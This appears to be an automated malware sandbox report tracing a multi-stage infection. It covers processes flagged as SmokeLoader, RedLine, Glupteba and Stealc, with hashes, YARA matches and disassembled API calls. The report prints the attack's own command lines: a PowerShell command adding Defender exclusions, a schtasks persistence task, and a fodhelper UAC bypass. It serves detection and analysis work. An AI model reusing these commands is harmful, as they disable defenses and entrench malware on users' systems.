Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000003.00000002.1942372818.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:57:19
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\6C7B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6C7B.exe
Imagebase:	0x400000
File size:	431'104 bytes
MD5 hash:	1996A23C7C764A77CCACF5808FEC23B0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 87%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:57:20
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\6C7B.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\6C7B.exe"
Imagebase:	0x400000
File size:	431'104 bytes
MD5 hash:	1996A23C7C764A77CCACF5808FEC23B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:57:21
Start date:	05/02/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\742D.dll
Imagebase:	0x7ff716520000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:57:22
Start date:	05/02/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\742D.dll
Imagebase:	0x650000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:57:24
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\7CB9.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7CB9.exe
Imagebase:	0x50000
File size:	5'911'640 bytes
MD5 hash:	E88E0FE2BB602D639E5658C42F34AF2F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:57:27
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\87C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\87C6.exe
Imagebase:	0x400000
File size:	1'998'848 bytes
MD5 hash:	151E9EC4F0355D2F131B871671BD5E20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.1990030741.00000000023D0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:57:27
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\87C6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\87C6.exe
Imagebase:	0x7ff72bec0000
File size:	1'998'848 bytes
MD5 hash:	151E9EC4F0355D2F131B871671BD5E20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	10:57:31
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\98EE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\98EE.exe
Imagebase:	0x400000
File size:	7'668'707 bytes
MD5 hash:	82BEB2A060E63C9C9A26663D0103FAE6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	10:57:31
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-FTTRT.tmp\98EE.tmp" /SL5="$E0076,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe"
Imagebase:	0x400000
File size:	709'120 bytes
MD5 hash:	B0292A40F16BC3D5A1FE839FAC1C825A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	10:57:32
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\98EE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\98EE.exe" /SPAWNWND=$302A2 /NOTIFYWND=$E0076
Imagebase:	0x400000
File size:	7'668'707 bytes
MD5 hash:	82BEB2A060E63C9C9A26663D0103FAE6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	10:57:32
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-5L71H.tmp\98EE.tmp" /SL5="$80272,7414031,54272,C:\Users\user\AppData\Local\Temp\98EE.exe" /SPAWNWND=$302A2 /NOTIFYWND=$E0076
Imagebase:	0x400000
File size:	709'120 bytes
MD5 hash:	B0292A40F16BC3D5A1FE839FAC1C825A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	10:57:34
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -i
Imagebase:	0x400000
File size:	3'047'424 bytes
MD5 hash:	29DEB5EE2C07F1E8660E10AB6E4A0966
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:57:35
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe" -s
Imagebase:	0x400000
File size:	3'047'424 bytes
MD5 hash:	29DEB5EE2C07F1E8660E10AB6E4A0966
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000016.00000002.4110757881.0000000002B61000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 00000016.00000002.4110412410.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	10:57:35
Start date:	05/02/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	10:57:35
Start date:	05/02/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7096 -ip 7096
Imagebase:	0x570000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:57:36
Start date:	05/02/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 1448
Imagebase:	0x570000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:57:42
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\C33B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C33B.exe
Imagebase:	0x7f0000
File size:	9'104'384 bytes
MD5 hash:	CEAE65EE17FF158877706EDFE2171501
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\C33B.exe, Author: ditekSHen
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:57:42
Start date:	05/02/2024
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	1'998'848 bytes
MD5 hash:	151E9EC4F0355D2F131B871671BD5E20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001B.00000002.2187651810.0000000002800000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:57:43
Start date:	05/02/2024
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	1'998'848 bytes
MD5 hash:	151E9EC4F0355D2F131B871671BD5E20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	10:57:43
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
Imagebase:	0x400000
File size:	4'315'536 bytes
MD5 hash:	D122F827C4FC73F9A06D7F6F2D08CD95
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001D.00000003.2186277276.0000000003AE2000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001D.00000002.2260755475.0000000000843000.00000040.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001D.00000002.2274530955.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001D.00000002.2273976773.00000000029A9000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001D.00000002.2274530955.00000000031F3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 51%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:57:43
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\InstallSetup4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\InstallSetup4.exe"
Imagebase:	0x400000
File size:	2'123'218 bytes
MD5 hash:	28B72E7425D6D224C060D3CF439C668C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:57:46
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\FourthX.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\FourthX.exe"
Imagebase:	0x7ff7eca80000
File size:	2'654'720 bytes
MD5 hash:	B03886CB64C04B828B6EC1B2487DF4A4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:57:46
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\D741.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D741.exe
Imagebase:	0x400000
File size:	299'520 bytes
MD5 hash:	C01379CE9E0B81AF37FF363819459B20
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000020.00000002.2240906447.0000000000758000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000020.00000002.2239536145.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000020.00000002.2239902889.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000020.00000002.2240548880.0000000000711000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000020.00000003.2186806895.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:57:48
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Imagebase:	0x400000
File size:	4'979'200 bytes
MD5 hash:	5E94F0F6265F9E8B2F706F1D46BBD39E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000021.00000000.2186784189.0000000000401000.00000020.00000001.01000000.0000001B.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe, Author: Joe Security
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	10:57:48
Start date:	05/02/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\FourthX.exe" -Verb runAs
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:57:49
Start date:	05/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:57:51
Start date:	05/02/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Temp\Task.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:57:51
Start date:	05/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:57:52
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
Imagebase:	0x400000
File size:	309'760 bytes
MD5 hash:	5FA7AD590C3CD426256D9D566A763D82
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000002.2633096271.0000000000937000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000027.00000002.2633548507.00000000021B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000002.2633096271.0000000000900000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000027.00000002.2632990846.00000000008E8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:57:52
Start date:	05/02/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 1251
Imagebase:	0x190000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:57:52
Start date:	05/02/2024
Path:	C:\Users\user\AppData\Local\Temp\FourthX.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\FourthX.exe"
Imagebase:	0x7ff7eca80000
File size:	2'654'720 bytes
MD5 hash:	B03886CB64C04B828B6EC1B2487DF4A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:57:52
Start date:	05/02/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:57:52
Start date:	05/02/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\user\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
Imagebase:	0xfd0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:57:52
Start date:	05/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:57:54
Start date:	05/02/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Sysnative\cmd.exe /C fodhelper
Imagebase:	0x7ff64e7f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:57:54
Start date:	05/02/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:57:54
Start date:	05/02/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	fodhelper
Imagebase:	0x7ff6579c0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:57:54
Start date:	05/02/2024
Path:	C:\Windows\System32\fodhelper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\fodhelper.exe"
Imagebase:	0x7ff6579c0000
File size:	49'664 bytes
MD5 hash:	85018BE1FD913656BC9FF541F017EACD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	18.7%
Signature Coverage:	52.9%
Total number of Nodes:	155
Total number of Limit Nodes:	4

Executed Functions

Function 00420AF0 Relevance: 24.7, APIs: 3, Strings: 11, Instructions: 233
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00433B28,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 00421368
GetProcAddress.KERNEL32(00000000,0042B3E0), ref: 00421374
VirtualProtect.KERNELBASE(00431A2C,00433EAC,00000040,?), ref: 00421394

Strings

F(+, xrefs: 00420BAE
o:?, xrefs: 0042118D
)?u, xrefs: 00421205
O8##, xrefs: 00420D84
R'._, xrefs: 00420EF0
6, xrefs: 00420C68
dFfX, xrefs: 00420E15
v;^:, xrefs: 00420F48
X2R, xrefs: 00420D1F
U99x, xrefs: 00420C52
:/X, xrefs: 00420E2B

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
API String ID: 3509694964-975362989
Opcode ID: 37c8924bac65614699f5b9737f3f444478b234c11193bcd24ad92ebdb7f34883
Instruction ID: fda3282cfb19162525e9fe172743dbd9461822add2cfb557077ef106a4697742
Opcode Fuzzy Hash: 37c8924bac65614699f5b9737f3f444478b234c11193bcd24ad92ebdb7f34883
Instruction Fuzzy Hash: EF02A6B410E385CBD2B09F469689B8EBBF0BB91714F608E0CD6DD1A224CB754589CF97

Uniqueness

Uniqueness Score: -1.00%

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

